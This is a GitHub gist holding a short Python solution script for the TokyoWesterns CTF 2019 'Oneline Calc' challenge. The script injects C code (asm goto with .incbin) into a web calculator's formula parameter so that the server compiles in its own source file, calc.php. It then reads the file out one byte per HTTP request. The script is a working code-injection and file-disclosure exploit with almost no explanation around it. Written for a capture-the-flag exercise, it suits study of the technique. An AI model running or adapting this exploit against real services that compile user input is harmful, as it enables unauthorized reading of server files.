Skip to content

Instantly share code, notes, and snippets.

@st98
Last active April 8, 2021 11:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save st98/96d9d7d3df1227e0792797ba6c881d0c to your computer and use it in GitHub Desktop.
Save st98/96d9d7d3df1227e0792797ba6c881d0c to your computer and use it in GitHub Desktop.
TokyoWesterns CTF 5th 2019 - Oneline Calc (flag 1)
import re
import requests
from urllib.parse import quote
code = '''
1;
asm goto (""::::a);
goto b;
a: asm(".incbin \\"/srv/olc/public/calc.php\\"");
b: return ((char *)&&a)[{:5}];
'''.replace('\n', ' ')
res = ''
for i in range(len(res), 65536):
r = requests.get('http://olc.chal.ctf.westerns.tokyo/calc.php?formula=' + quote(code.format(i)))
r = r.content.decode()
c = int(re.findall(r'data: evaluating\n\n\nevent: message\ndata: (.+)\n', r)[0])
res += chr(c)
print(repr(res))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment